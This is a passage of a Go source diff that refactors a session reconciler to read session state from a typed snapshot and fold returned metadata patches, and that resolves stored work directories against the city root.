+			if pendingCreateStartInFlightInfo(info, clk, startupTimeout) {
 				if trace != nil {
-					trace.recordDecision("reconciler.session.wake", target.tp.TemplateName, name, "wake", "start_in_flight", traceRecordPayload{
-						"pending_create_claim": strings.TrimSpace(target.session.Metadata["pending_create_claim"]),
-						"last_woke_at":         target.session.Metadata["last_woke_at"],
-					}, nil, "")
+					trace.RecordDecision(TraceSiteReconcilerWakeDecision, TraceReasonWake, TraceOutcomeStartInFlight, target.tp.TemplateName, name, traceRecordPayload{
+						"pending_create_claim": strings.TrimSpace(info.PendingCreateClaimMetadata),
+						"last_woke_at":         info.LastWokeAt,
+					})
 				}
 				continue
 			}
@@ -2548,17 +3215,17 @@ func reconcileSessionBeadsTracedWithNamedDemand(
 			// already-OPEN breakers; restart accounting happens at the
 			// prepared-start boundary after dependency and wake-budget gates.
 			if cbEnabled {
-				identity := namedSessionIdentity(*target.session)
+				identity := namedSessionIdentityInfo(info)
 				if identity != "" {
 					if cb.IsOpen(identity, cbNow) {
-						if err := persistSessionCircuitBreakerMetadata(sessFront, target.session, cb, identity, cbNow); err != nil {
+						if err := persistSessionCircuitBreakerMetadata(sessFront, target.session.ID, cb, identity, cbNow); err != nil {
 							fmt.Fprintf(stderr, "session reconciler: %v\n", err) //nolint:errcheck // best-effort stderr
 						}
 						cb.LogOpenOnce(identity, stderr)
 						if trace != nil {
-							trace.recordDecision("reconciler.session.circuit_open", target.tp.TemplateName, name, "circuit_open", "skipped", traceRecordPayload{
+							trace.RecordDecision(TraceSiteReconcilerCircuitOpen, TraceReasonCircuitOpen, TraceOutcomeSkipped, target.tp.TemplateName, name, traceRecordPayload{
 								"identity": identity,
-							}, nil, "")
+							})
 						}
 						continue
 					}
@@ -2585,9 +3252,9 @@ func reconcileSessionBeadsTracedWithNamedDemand(
 							emitProviderHealthGateAlert(rec, stdout, p, epID, since, count)
 						})
 						if trace != nil {
-							trace.recordDecision("reconciler.session.provider_health_gate", target.tp.TemplateName, name, "provider_red", "respawn_skipped", traceRecordPayload{
+							trace.RecordDecision(TraceSiteReconcilerProviderHealthGate, TraceReasonProviderRed, TraceOutcomeRespawnSkipped, target.tp.TemplateName, name, traceRecordPayload{
 								"provider": phProvider,
-							}, nil, "")
+							})
 						}
 						continue // skip startCandidates; wake budget is NOT consumed
 					}
@@ -2627,20 +3294,22 @@ func reconcileSessionBeadsTracedWithNamedDemand(
 						}
 					}
 					if trace != nil {
-						trace.recordDecision("reconciler.session.provider_health_gate", target.tp.TemplateName, name, "provider_red", "chain_walk", traceRecordPayload{
-							"original_provider": phProvider,
-							"alternate":         alternate,
-						}, nil, "")
+						trace.RecordDecision(TraceSiteReconcilerProviderHealthGate, TraceReasonProviderRed, TraceOutcomeChainWalk, target.tp.TemplateName, name, traceRecordPayload{
+							"provider":  phProvider,
+							"alternate": alternate,
+						})
 					}
 				}
 			}
 
 			if trace != nil {
-				trace.recordDecision("reconciler.session.wake", target.tp.TemplateName, name, "wake", "start_candidate", traceRecordPayload{
+				trace.RecordDecision(TraceSiteReconcilerWakeDecision, TraceReasonWake, TraceOutcomeStartCandidate, target.tp.TemplateName, name, traceRecordPayload{
 					"should_wake": shouldWake,
-				}, nil, "")
+				})
+			}
+			if fold := recordCurrentBeadIDOnWake(target.session, sessFront, decision.AssignedWorkBeadID, stderr); fold != nil {
+				infoByID[target.session.ID] = infoByID[target.session.ID].ApplyPatch(fold)
 			}
-			recordCurrentBeadIDOnWake(target.session, sessFront, decision.AssignedWorkBeadID, stderr)
 			startCandidates = append(startCandidates, startCandidate{
 				session: target.session,
 				tp:      target.tp,
@@ -2657,8 +3326,11 @@ func reconcileSessionBeadsTracedWithNamedDemand(
 			// restart-handoff machinery as `gc runtime request-restart`.
 			// See #1893 (controller: alive on_demand session ignores
 			// bd update --assignee).
-			if decision.RequiresFreshCycle && target.session.Metadata["wake_mode"] == "fresh" {
-				if cycleAliveSessionForFreshReassign(target.session, target.tp, sp, store, cfg, cb, name, decision.AssignedWorkBeadID, clk.Now(), stdout, stderr, trace) {
+			if decision.RequiresFreshCycle && info.WakeMode == "fresh" {
+				if ran, fold := cycleAliveSessionForFreshReassign(target.session, target.tp, sp, store, cfg, cb, name, decision.AssignedWorkBeadID, clk.Now(), stdout, stderr, trace); ran {
+					if fold != nil {
+						infoByID[target.session.ID] = infoByID[target.session.ID].ApplyPatch(fold)
+					}
 					continue
 				}
 			}
@@ -2666,20 +3338,27 @@ func reconcileSessionBeadsTracedWithNamedDemand(
 			// check has a baseline. Backfills legacy sessions that were
 			// already alive before this metadata existed and refreshes the
 			// record after the agent picks up its next bead in resume mode.
-			recordCurrentBeadIDOnWake(target.session, sessFront, decision.AssignedWorkBeadID, stderr)
+			if fold := recordCurrentBeadIDOnWake(target.session, sessFront, decision.AssignedWorkBeadID, stderr); fold != nil {
+				infoByID[target.session.ID] = infoByID[target.session.ID].ApplyPatch(fold)
+			}
 			// Session is correctly awake. Cancel any non-drift drain
 			// (handles scale-back-up: agent returns to desired set while draining).
-			cancelSessionDrain(*target.session, sp, dt)
+			cancelSessionDrainInfo(info, sp, dt)
 			clearCompletedIdleProbe(target.session.ID, dt)
-			if target.session.Metadata["sleep_intent"] == "idle-stop-pending" {
+			if info.SleepIntent == "idle-stop-pending" {
+				// Persist the intent clear to the store and the typed snapshot. This
+				// runs on an ALIVE session (the shouldWake && alive arm), which never
+				// enters startCandidates, and sleep_intent is not read off the raw
+				// session bead anywhere downstream this tick — so Step 5c dropped the
+				// raw session.Metadata mirror.
 				_ = sessionFrontDoor(store).SetMarker(target.session.ID, "sleep_intent", "")
-				target.session.Metadata["sleep_intent"] = ""
+				infoByID[target.session.ID] = infoByID[target.session.ID].ApplyPatch(sessionpkg.MetadataPatch{"sleep_intent": ""})
 			}
 		}
 
 		if !shouldWake && target.alive {
 			// No reason to be awake — begin drain.
-			intent := target.session.Metadata["sleep_intent"]
+			intent := info.SleepIntent
 			var reason string
 			switch {
 			case intent == "idle-stop-pending":
@@ -2697,19 +3376,21 @@ func reconcileSessionBeadsTracedWithNamedDemand(
 				clearCompletedIdleProbe(target.session.ID, dt)
 			}
 			if reason == "idle" && dt.get(target.session.ID) == nil {
-				if intent != "idle-stop-pending" && !shouldBeginIdleDrain(target.session, eval, dt, sp) {
+				if intent != "idle-stop-pending" && !shouldBeginIdleDrainInfo(info, eval, dt, sp) {
 					continue
 				}
 				if intent != "idle-stop-pending" {
-					markIdleSleepPending(target.session, sessFront)
+					if fold := markIdleSleepPending(target.session, sessFront); fold != nil {
+						infoByID[target.session.ID] = infoByID[target.session.ID].ApplyPatch(fold)
+					}
 				}
 			}
-			if beginSessionDrain(*target.session, sp, dt, reason, clk, defaultDrainTimeout) {
-				fmt.Fprintf(stdout, "Draining session '%s': %s\n", target.session.Metadata["session_name"], reason) //nolint:errcheck
+			if beginSessionDrainInfo(info, sp, dt, reason, clk, defaultDrainTimeout) {
+				fmt.Fprintf(stdout, "Draining session '%s': %s\n", name, reason) //nolint:errcheck
 				if trace != nil {
-					trace.recordDecision("reconciler.session.drain", target.tp.TemplateName, target.session.Metadata["session_name"], reason, "drain", traceRecordPayload{
+					trace.RecordDecision(TraceSiteReconcilerDrainDecision, TraceReasonCode(reason), TraceOutcomeDrain, target.tp.TemplateName, name, traceRecordPayload{
 						"sleep_intent": intent,
-					}, nil, "")
+					})
 				}
 			}
 		}
@@ -2729,12 +3410,12 @@ func reconcileSessionBeadsTracedWithNamedDemand(
 		// keep the same bead so later wake/restart happens in place instead
 		// of minting a fresh canonical owner.
 		hasAssignedWork := false
-		poolFreeable := !shouldWake && !target.alive && isPoolSessionSlotFreeable(*target.session) && isPoolManagedSessionBead(*target.session)
+		poolFreeable := !shouldWake && !target.alive && isPoolSessionSlotFreeableInfo(info) && isPoolManagedSessionInfo(info)
 		if poolFreeable {
 			var assignedErr error
 			hasAssignedWork, assignedErr = sessionHasOpenAssignedWorkForReachableStore(cityPath, cfg, store, rigStores, *target.session)
 			if assignedErr != nil {
-				fmt.Fprintf(stderr, "session reconciler: checking assigned work for drained %s: %v\n", target.session.Metadata["session_name"], assignedErr) //nolint:errcheck
+				fmt.Fprintf(stderr, "session reconciler: checking assigned work for drained %s: %v\n", name, assignedErr) //nolint:errcheck
 				hasAssignedWork = true
 			}
 		}
@@ -2748,7 +3429,9 @@ func reconcileSessionBeadsTracedWithNamedDemand(
 			// happened. Emit a single diagnostic per session bead
 			// generation; the throttle marker on the bead itself
 			// keeps subsequent reconciler ticks quiet.
-			emitSessionStrandedDiagnostic(cityPath, cfg, store, rigStores, target.session, target.tp.TemplateName, rec, clk, stderr)
+			if fold := emitSessionStrandedDiagnostic(cityPath, cfg, store, rigStores, target.session, target.tp.TemplateName, rec, clk, stderr); fold != nil {
+				infoByID[target.session.ID] = infoByID[target.session.ID].ApplyPatch(fold)
+			}
 		}
 		if poolFreeable && !hasAssignedWork {
 			// Close directly rather than via closeSessionBeadIfUnassigned.
@@ -2761,11 +3444,14 @@ func reconcileSessionBeadsTracedWithNamedDemand(
 			// on the closed bead for forensic fidelity; fall back to "drained"
 			// when the metadata is missing. Ops can then distinguish a natural
 			// idle-timeout recycle from an explicit drain in the closed record.
-			closeReason := strings.TrimSpace(target.session.Metadata["sleep_reason"])
+			closeReason := strings.TrimSpace(info.SleepReason)
 			if closeReason == "" {
 				closeReason = "drained"
 			}
 			if closeBead(store, target.session.ID, closeReason, clk.Now().UTC(), stderr) {
+				// Store-only close family: mirror the close onto the snapshot
+				// (write-returns-Info) so a later reader sees Closed=true.
+				infoByID[target.session.ID] = infoByID[target.session.ID].MarkClosed()
 				// Pool worktrees are transient by design — reclaim disk
 				// when the session bead is retired. Skipped under safety
 				// gates (uncommitted, unpushed, stashed) and overridable
@@ -2808,13 +3494,17 @@ func reconcileSessionBeadsTracedWithNamedDemand(
 		return plannedWakes
 	}
 
-	// Phase 2: Advance all in-flight drains.
+	// Phase 2: Advance all in-flight drains. The drain scan reads the coherent
+	// typed snapshot (write-returns-Info keeps it current through Phase 1), not
+	// the raw working beads — so it observes the same post-forward-pass state the
+	// old &ordered[i] aliases carried, without holding a raw pointer map.
 	phaseStart = time.Now()
-	sessionLookup := func(id string) *beads.Bead {
-		return beadByID[id]
+	infoLookup := func(id string) (sessionpkg.Info, bool) {
+		info, ok := infoByID[id]
+		return info, ok
 	}
-	advanceSessionDrainsWithSessionsTraced(dt, sp, store, sessionLookup, ordered, wakeEvals, cfg, poolDesired, nil, readyWaitSet, clk, trace)
-	clearMissingIdleProbes(dt, beadByID)
+	advanceSessionDrainsWithSessionsTraced(dt, sp, store, infoLookup, wakeEvals, cfg, clk, trace)
+	clearMissingIdleProbes(dt, infoByID)
 	recordPhase(TraceSiteSessionReconcileDrainAdvance, "session_reconcile.advance_drains", phaseStart, map[string]any{
 		"ordered_session_count": len(ordered),
 		"wake_eval_count":       len(wakeEvals),
@@ -2858,8 +3548,8 @@ func resolvePreservedConfiguredNamedSessionTemplate(
 	cfg *config.City,
 	sp runtime.Provider,
 	store beads.Store,
-	openSessions []beads.Bead,
-	session beads.Bead,
+	openInfos []sessionpkg.Info,
+	info sessionpkg.Info,
 	clk clock.Clock,
 	stderr io.Writer,
 ) (TemplateParams, error) {
@@ -2869,15 +3559,15 @@ func resolvePreservedConfiguredNamedSessionTemplate(
 	if cityName == "" && cfg != nil {
 		cityName = cfg.EffectiveCityName()
 	}
-	identity := namedSessionIdentity(session)
+	identity := namedSessionIdentityInfo(info)
 	spec, ok := findNamedSessionSpec(cfg, cityName, identity)
 	if !ok || spec.Agent == nil {
 		return TemplateParams{}, fmt.Errorf("configured named session %q not found", identity)
 	}
 	bp := newAgentBuildParams(cityName, cityPath, cfg, sp, clk.Now().UTC(), store, stderr)
-	bp.sessionBeads = newSessionBeadSnapshot(openSessions)
+	bp.sessionBeads = newSessionBeadSnapshotFromInfos(openInfos)
 	fpExtra := buildFingerprintExtra(spec.Agent)
-	tp, err := resolveTemplateForSessionBead(bp, spec.Agent, identity, fpExtra, session)
+	tp, err := resolveTemplateForSessionBeadInfo(bp, spec.Agent, identity, fpExtra, info)
 	if err != nil {
 		return TemplateParams{}, err
 	}
@@ -3088,15 +3778,15 @@ func emitSessionStrandedDiagnostic(
 	rec events.Recorder,
 	clk clock.Clock,
 	stderr io.Writer,
-) {
+) sessionpkg.MetadataPatch {
 	if rec == nil || session == nil {
-		return
+		return nil
 	}
 	if session.Metadata == nil {
 		session.Metadata = make(map[string]string, 1)
 	}
 	if strings.TrimSpace(session.Metadata[strandedEventEmittedKey]) != "" {
-		return
+		return nil
 	}
 	assignedWork, err := collectSessionAssignedWork(cityPath, cfg, store, rigStores, *session)
 	if err != nil {
@@ -3104,7 +3794,7 @@ func emitSessionStrandedDiagnostic(
 	}
 	diagnosticWork := filterDetachedStrandedDiagnosticWork(assignedWork)
 	if err == nil && len(assignedWork) > 0 && len(diagnosticWork) == 0 {
-		return
+		return nil
 	}
 	ids := strandedAssignedWorkIDs(diagnosticWork)
 	now := clk.Now().UTC()
@@ -3117,13 +3807,22 @@ func emitSessionStrandedDiagnostic(
 		SessionID: session.ID,
 		Payload:   api.SessionStrandedPayloadJSON(session.ID, session.Metadata["session_name"], template, ids),
 	})
-	// Set the in-memory marker first so a SetMetadata failure below
-	// can't cause the next tick (still seeing this same *Bead value or
-	// a re-fetch with the durable write missing) to emit again.
+	// CROSS-TICK EMIT-ONCE COUPLING (Step 5c): the raw session.Metadata mirror is
+	// RETAINED. Set the in-memory marker BEFORE the durable SetMarker write so a
+	// transient store-write failure cannot cause the next tick — still holding this
+	// same *Bead value (the controller may carry a bead forward across ticks) or a
+	// re-fetch whose durable write is missing — to re-emit and produce a
+	// duplicate-emission storm. Regression-guarded by
+	// TestReconcileSessionBeads_PoolSlotStrandedThrottleSurvivesSetMetadataFailure.
 	session.Metadata[strandedEventEmittedKey] = now.Format(time.RFC3339)
 	if err := sessionFrontDoor(store).SetMarker(session.ID, strandedEventEmittedKey, now.Format(time.RFC3339)); err != nil {
 		fmt.Fprintf(stderr, "session reconciler: stamping stranded throttle marker on %s: %v\n", session.ID, err) //nolint:errcheck
 	}
+	// Return the throttle-marker fold so the reconciler can apply it to the
+	// infoByID snapshot (write-returns-Info). Applied regardless of the
+	// SetMarker store result — the in-memory marker above is the emit-once
+	// guard, and the snapshot must match it.
+	return sessionpkg.MetadataPatch{strandedEventEmittedKey: now.Format(time.RFC3339)}
 }
 
 type strandedAssignedWork struct {
@@ -3427,7 +4126,7 @@ func namedSessionActivelyInUse(session beads.Bead, sp runtime.Provider, name str
 	return active
 }
 
-func shouldDeferNamedSessionConfigDrift(session beads.Bead, sessFront *sessionpkg.InfoStore, sp runtime.Provider, name string, clk clock.Clock, driftKey string) (string, bool, error) {
+func shouldDeferNamedSessionConfigDrift(session beads.Bead, sessFront *sessionpkg.Store, sp runtime.Provider, name string, clk clock.Clock, driftKey string) (string, bool, error) {
 	reason, active := namedSessionActiveUseReason(session, sp, name, clk)
 	if !active {
 		return "", false, nil
@@ -3443,7 +4142,7 @@ func shouldDeferNamedSessionConfigDrift(session beads.Bead, sessFront *sessionpk
 
 func boundedNamedSessionConfigDriftDeferral(
 	session beads.Bead,
-	sessFront *sessionpkg.InfoStore,
+	sessFront *sessionpkg.Store,
 	clk clock.Clock,
 	driftKey string,
 	reason string,
@@ -3479,7 +4178,7 @@ func boundedNamedSessionConfigDriftDeferral(
 	return "", false, nil
 }
 
-func recordNamedSessionConfigDriftDeferredAt(session beads.Bead, sessFront *sessionpkg.InfoStore, t time.Time, driftKey string) error {
+func recordNamedSessionConfigDriftDeferredAt(session beads.Bead, sessFront *sessionpkg.Store, t time.Time, driftKey string) error {
 	if sessFront == nil || session.ID == "" {
 		return nil
 	}
@@ -3489,7 +4188,7 @@ func recordNamedSessionConfigDriftDeferredAt(session beads.Bead, sessFront *sess
 	})
 }
 
-func clearSessionConfigDriftDeferral(session beads.Bead, sessFront *sessionpkg.InfoStore) error {
+func clearSessionConfigDriftDeferral(session beads.Bead, sessFront *sessionpkg.Store) error {
 	if sessFront == nil || session.ID == "" {
 		return nil
 	}
@@ -3507,7 +4206,7 @@ func clearSessionConfigDriftDeferral(session beads.Bead, sessFront *sessionpkg.I
 	})
 }
 
-func recordSessionAttachedConfigDriftDeferral(session beads.Bead, sessFront *sessionpkg.InfoStore, clk clock.Clock, driftKey string) error {
+func recordSessionAttachedConfigDriftDeferral(session beads.Bead, sessFront *sessionpkg.Store, clk clock.Clock, driftKey string) error {
 	if sessFront == nil || session.ID == "" {
 		return nil
 	}
@@ -3648,23 +4347,30 @@ func traceHealClearedPendingCreateLease(
 	if name == "" {
 		name = session.Metadata["session_name"]
 	}
-	trace.recordDecision("reconciler.session.pending_create", template, name, "heal_cleared_stale_lease", string(TraceOutcomeApplied), traceRecordPayload{
+	trace.RecordDecision(TraceSiteReconcilerPendingCreate, TraceReasonHealClearedStaleLease, TraceOutcomeApplied, template, name, traceRecordPayload{
 		"last_woke_at":              lastWokeAtBeforeHeal,
 		"pending_create_started_at": pendingCreateStartedAtBeforeHeal,
 		"provider_alive":            providerAlive,
 		"state_after":               session.Metadata["state"],
 		"state_before":              stateBeforeHeal,
-	}, nil, "")
+	})
 }
 
 func applyTemplateOverridesToConfig(agentCfg *runtime.Config, session beads.Bead, tp TemplateParams) {
+	applyTemplateOverridesToConfigInfo(agentCfg, sessionpkg.InfoFromPersistedBead(session), tp)
+}
+
+// applyTemplateOverridesToConfigInfo is the session.Info form of
+// applyTemplateOverridesToConfig: byte-identical logic reading the parsed
+// template overrides directly off Info instead of re-projecting a raw bead.
+func applyTemplateOverridesToConfigInfo(agentCfg *runtime.Config, info sessionpkg.Info, tp TemplateParams) {
 	if agentCfg == nil {
 		return
 	}
 	if tp.ResolvedProvider == nil || len(tp.ResolvedProvider.OptionsSchema) == 0 {
 		return
 	}
-	ovr, err := sessionpkg.ParseTemplateOverrides(session.Metadata)
+	ovr, err := sessionpkg.ParseTemplateOverridesFromInfo(info)
 	if err != nil || len(ovr) == 0 {
 		return
 	}
@@ -3721,9 +4427,9 @@ func resetConfiguredNamedSessionForConfigDrift(
 	nextState string,
 	now time.Time,
 	stderr io.Writer,
-) {
+) map[string]string {
 	if session == nil || store == nil {
-		return
+		return nil
 	}
 	if nextState == "" {
 		nextState = "asleep"
@@ -3771,40 +4477,51 @@ func resetConfiguredNamedSessionForConfigDrift(
 	batch[sessionAttachedConfigDriftDeferredKeyMetadata] = ""
 	if err := sessionFrontDoor(store).ApplyPatch(session.ID, batch); err != nil {
 		fmt.Fprintf(stderr, "session reconciler: recording config-drift repair for %s: %v\n", sessionName, err) //nolint:errcheck
-		return
+		return nil
 	}
 	if session.Metadata == nil {
 		session.Metadata = make(map[string]string, len(batch))
 	}
+	// START-EXECUTION COUPLING (Step 5c): the raw session.Metadata mirror loop is
+	// RETAINED. The start-pending caller (the alive lane) falls through without a
+	// `continue`, so the repaired session can reach startCandidates this same tick,
+	// and the start executor reads last_woke_at (cleared by ConfigDriftResetPatch)
+	// off the raw bead via wakeFairnessTime before it re-Gets from the store.
 	for key, value := range batch {
 		session.Metadata[key] = value
 	}
+	// Return the mirrored batch so the caller can fold it onto the typed snapshot
+	// (Step 6d write-returns-Info). The batch clears restart_requested (part of
+	// ConfigDriftResetPatch), so folding it keeps a consumed restart marker off the
+	// snapshot once the pre-pass is dropped (#2574).
+	return batch
 }
 
-func shouldBeginIdleDrain(
-	session *beads.Bead,
+// shouldBeginIdleDrainInfo reads the session id and session_name off the Info
+// snapshot (both verbatim raw mirrors), so it is byte-identical to the raw form
+// it replaced. The former nil-bead guard is gone: the sole caller passes
+// infoByID[target.session.ID] for a wakeTarget whose bead is always non-nil.
+func shouldBeginIdleDrainInfo(
+	info sessionpkg.Info,
 	eval wakeEvaluation,
 	dt *drainTracker,
 	sp runtime.Provider,
 ) bool {
-	if session == nil {
-		return false
-	}
 	if eval.Policy.Class == config.SessionSleepNonInteractive {
 		return true
 	}
 	if eval.Policy.Capability != runtime.SessionSleepCapabilityFull || sp == nil {
 		return false
 	}
-	probe, ok := dt.idleProbe(session.ID)
+	probe, ok := dt.idleProbe(info.ID)
 	if !ok || !probe.ready {
 		return false
 	}
-	defer dt.clearIdleProbe(session.ID)
+	defer dt.clearIdleProbe(info.ID)
 	if !probe.success {
 		return false
 	}
-	lastActivity, err := workerSessionTargetLastActivityWithConfig("", nil, sp, nil, session.Metadata["session_name"])
+	lastActivity, err := workerSessionTargetLastActivityWithConfig("", nil, sp, nil, info.SessionNameMetadata)
 	if err != nil {
 		return false
 	}
@@ -3815,6 +4532,7 @@ func selectIdleProbeTargets(
 	wakeTargets []wakeTarget,
 	wakeEvals map[string]wakeEvaluation,
 	dt *drainTracker,
+	infoByID map[string]sessionpkg.Info,
 ) map[string]bool {
 	targets := make(map[string]bool)
 	if dt == nil {
@@ -3839,7 +4557,7 @@ func selectIdleProbeTargets(
 		if target.session == nil || !target.alive {
 			continue
 		}
-		if target.session.Metadata["sleep_intent"] != "" {
+		if infoByID[target.session.ID].SleepIntent != "" {
 			continue
 		}
 		if dt.drains[target.session.ID] != nil {
@@ -3881,6 +4599,7 @@ func launchIdleProbes(
 	dt *drainTracker,
 	sp runtime.Provider,
 	clk clock.Clock,
+	infoByID map[string]sessionpkg.Info,
 ) {
 	if len(idleProbeTargets) == 0 || dt == nil || sp == nil {
 		return
@@ -3893,7 +4612,7 @@ func launchIdleProbes(
 		if target.session == nil || !idleProbeTargets[target.session.ID] {
 			continue
 		}
-		name := target.session.Metadata["session_name"]
+		name := infoByID[target.session.ID].SessionNameMetadata
 		probe := dt.startIdleProbe(target.session.ID)
 		if name == "" || probe == nil {
 			continue
@@ -3915,14 +4634,22 @@ func clearCompletedIdleProbe(beadID string, dt *drainTracker) {
 	}
 }
 
-func clearMissingIdleProbes(dt *drainTracker, beadByID map[string]*beads.Bead) {
+// clearMissingIdleProbes drops idle-probe state for any session that has left
+// the tick's working set. It uses infoByID purely as a presence oracle: an id
+// absent from the snapshot is a session no longer under reconciliation, so its
+// stale probe must be cleared. infoByID carries exactly the ids of the raw
+// working set (both are built 1:1 from `ordered`, the snapshot is never keyed
+// beyond it, and refresh only updates existing entries), so routing this off the
+// typed snapshot instead of the raw beadByID pointer map is presence-identical
+// (front-door migration Step 6c: retire a read-side raw working-set consumer).
+func clearMissingIdleProbes(dt *drainTracker, infoByID map[string]sessionpkg.Info) {
 	if dt == nil {
 		return
 	}
 	dt.mu.Lock()
 	var stale []string
 	for id := range dt.idleProbes {
-		if beadByID[id] == nil {
+		if _, ok := infoByID[id]; !ok {
 			stale = append(stale, id)
 		}
 	}
@@ -3932,12 +4659,26 @@ func clearMissingIdleProbes(dt *drainTracker, beadByID map[string]*beads.Bead) {
 	}
 }
 
+// resolveWorkDirAgainstCity anchors a bead-stored work_dir value to the city
+// root. Worktree-per-bead dispatch stores this metadata city-relative (e.g.
+// ".gc/worktrees/gascity/builder/<slug>") so the value stays valid across
+// machines with different absolute city paths; resolving it with os.Stat
+// directly would instead resolve against the calling process's cwd, which is
+// how scaffold staging leaked into shared long-lived worktrees (ga-ajw1no).
+// Already-absolute values (the legacy convention) pass through unchanged.
+func resolveWorkDirAgainstCity(cityPath, workDir string) string {
+	if workDir == "" || cityPath == "" || filepath.IsAbs(workDir) {
+		return workDir
+	}
+	return filepath.Join(cityPath, workDir)
+}
+
 // resolveTaskWorkDir checks the agent's assigned task beads for a work_dir
 // metadata field. If a task bead has work_dir set and the directory exists
 // on disk, that path is returned. This lets the reconciler start the agent
 // in the worktree that the previous session (or this session's prior run)
 // created, without any prompt-side logic.
-func resolveTaskWorkDir(store beads.Store, assignees ...string) string {
+func resolveTaskWorkDir(cityPath string, store beads.Store, assignees ...string) string {
 	if store == nil {
 		return ""
 	}
@@ -3960,10 +4701,12 @@ func resolveTaskWorkDir(store beads.Store, assignees ...string) string {
 		}
 		for _, b := range assigned {
 			wd := strings.TrimSpace(b.Metadata["work_dir"])
-			if wd != "" {
-				if info, err := os.Stat(wd); err == nil && info.IsDir() {
-					return wd
-				}
+			if wd == "" {
+				continue
+			}
+			resolved := resolveWorkDirAgainstCity(cityPath, wd)
+			if info, err := os.Stat(resolved); err == nil && info.IsDir() {
+				return resolved
 			}
 		}
 	}
@@ -4046,7 +4789,7 @@ type assignedTaskWorkDir struct {
 
 // newAssignedTaskWorkDirResolver resolves work_dir values from the
 // reconciler's snapshot; misses intentionally fall back to the live lookup.
-func newAssignedTaskWorkDirResolver(assignedWorkBeads []beads.Bead) taskWorkDirResolver {
+func newAssignedTaskWorkDirResolver(cityPath string, assignedWorkBeads []beads.Bead) taskWorkDirResolver {
 	index := make(map[string]assignedTaskWorkDir)
 	for _, bead := range assignedWorkBeads {
 		if bead.Status != "in_progress" {
@@ -4060,6 +4803,7 @@ func newAssignedTaskWorkDirResolver(assignedWorkBeads []beads.Bead) taskWorkDirR
 		if workDir == "" {
 			continue
 		}
+		workDir = resolveWorkDirAgainstCity(cityPath, workDir)
 		info, err := os.Stat(workDir)
 		if err != nil || !info.IsDir() {
 			continue
@@ -4136,24 +4880,27 @@ func sessionHashRebaselineMetadata(agentCfg runtime.Config) (map[string]string,
 // does not match runtime.FingerprintVersion. The reconciler invokes this
 // instead of draining the session — the hash mismatch is purely a
 // versioning artifact, not real config drift.
-func silentRebaselineSessionHashes(session *beads.Bead, sessFront *sessionpkg.InfoStore, agentCfg runtime.Config) error {
+//
+// Returns (patch, nil) on success, (nil, err) on persist error, (nil, nil)
+// when nothing was written (nil session or nil front-door). The caller folds
+// the returned patch onto the typed snapshot via ApplyPatch (nil is a no-op).
+func silentRebaselineSessionHashes(session *beads.Bead, sessFront *sessionpkg.Store, agentCfg runtime.Config) (map[string]string, error) {
 	if session == nil || sessFront == nil {
-		return nil
+		return nil, nil
 	}
 	patch, err := sessionHashRebaselineMetadata(agentCfg)
 	if err != nil {
-		return err
+		return nil, err
 	}
 	if err := sessFront.ApplyPatch(session.ID, patch); err != nil {
-		return fmt.Errorf("rebaselining hashes: %w", err)
-	}
-	if session.Metadata == nil {
-		session.Metadata = make(map[string]string, len(patch))
-	}
-	for k, v := range patch {
-		session.Metadata[k] = v
-	}
-	return nil
+		return nil, fmt.Errorf("rebaselining hashes: %w", err)
+	}
+	// The caller folds the returned patch onto the typed snapshot (write-returns-
+	// Info). The rebaselined hash fields are never read off the raw session bead
+	// this tick — the drift decision reads Info.StartedConfigHash and the start
+	// path re-reads started_config_hash off a fresh store.Get — so Step 5c dropped
+	// the raw session.Metadata mirror.
+	return patch, nil
 }
 
 // relaunchAgentForLaunchDrift handles a launch-only config-drift (B2.3): the
@@ -4162,11 +4909,25 @@ func silentRebaselineSessionHashes(session *beads.Bead, sessFront *sessionpkg.In
 // restart. It mirrors the live-drift→RunLive clause: act, and on success
 // rebaseline the Core/provision/launch baselines so the next tick sees no drift.
 //
-// Returns true iff the agent was relaunched (the caller should `continue` and
-// skip the full-restart path); false means the provider cannot relaunch (the
-// type-assert failed, or it answered ErrRelaunchUnsupported) or the relaunch
-// failed — in either case the caller falls through to the existing full restart
-// (drain / reset-in-place → Stop+Start), so the change still lands.
+// The config handed to Relaunch is derived by buildPreparedStart — the SAME
+// derivation the fresh-start and pending-create-recovery paths use — so the
+// relaunched agent resumes its tracked conversation (resolveSessionCommand adds
+// --resume/--session-id), carries the runtime env (GC_SESSION_ID, instance
+// token, GC_PROVIDER, trigger-bead env), and does NOT re-send the full startup
+// prompt (the !firstStart prompt-strip + restart-nudge block). The drift
+// COMPARISON still uses the hash-form sessionCoreConfigForHash; only the
+// EXECUTED config and the rebaselined baselines come from buildPreparedStart.
+//
+// Returns (true, launchBatch) iff the agent was relaunched and hashes were
+// rebaselined (the caller folds launchBatch onto the typed snapshot and
+// `continue`s). Returns (false, fold) when the provider cannot relaunch,
+// buildPreparedStart minted a speculative resume key (a warm relaunch would
+// --resume a key naming a conversation that was never created), the
+// prepare/precondition/relaunch step failed, or the rebaseline failed — the
+// caller folds the prepare residue (buildPreparedStart mutates the raw bead:
+// instance_token mint, stale-resume-key clear) and falls through to the full
+// restart. The fold is nil only when no buildPreparedStart side effect ran (the
+// RelaunchProvider gate rejected the runtime before any preparation).
 //
 // The deferral guards (attached / named-active / pending-interaction / open
 // assigned work) are honored by the CALLER: this is invoked only after those
@@ -4176,48 +4937,121 @@ func silentRebaselineSessionHashes(session *beads.Bead, sessFront *sessionpkg.In
 func relaunchAgentForLaunchDrift(
 	ctx context.Context,
 	sp runtime.Provider,
-	sessFront *sessionpkg.InfoStore,
+	sessFront *sessionpkg.Store,
 	session *beads.Bead,
 	name string,
-	agentCfg runtime.Config,
 	tp TemplateParams,
+	cityPath string,
+	cfg *config.City,
+	store beads.Store,
 	storedHash, currentHash string,
+	storedProvisionHash, storedLaunchHash string,
 	driftedFields []string,
 	rec events.Recorder,
 	trace *sessionReconcilerTraceCycle,
 	stdout, stderr io.Writer,
-) bool {
+) (bool, map[string]string) {
 	r, ok := sp.(runtime.RelaunchProvider)
 	if !ok {
 		// Conjoined runtimes (subprocess/acp/t3bridge) do not implement
-		// RelaunchProvider; fall through to the full restart.
-		return false
+		// RelaunchProvider; fall through to the full restart. No side effects yet —
+		// no buildPreparedStart residue to fold.
+		return false, nil
 	}
-	if err := r.Relaunch(ctx, name, agentCfg); err != nil {
+	// Capture whether the bead already tracked a resumable conversation BEFORE
+	// buildPreparedStart runs. An empty session_key means any key the preparation
+	// mints below (line ~911, for a SessionIDFlag provider) is speculative: it
+	// names a conversation the relaunch has not created yet. Such a speculative key
+	// must never be executed as `--resume` and must never survive into the
+	// full-restart fallback, or a future start would --resume a phantom
+	// conversation. Both halves are enforced below: the minted-speculative-key guard
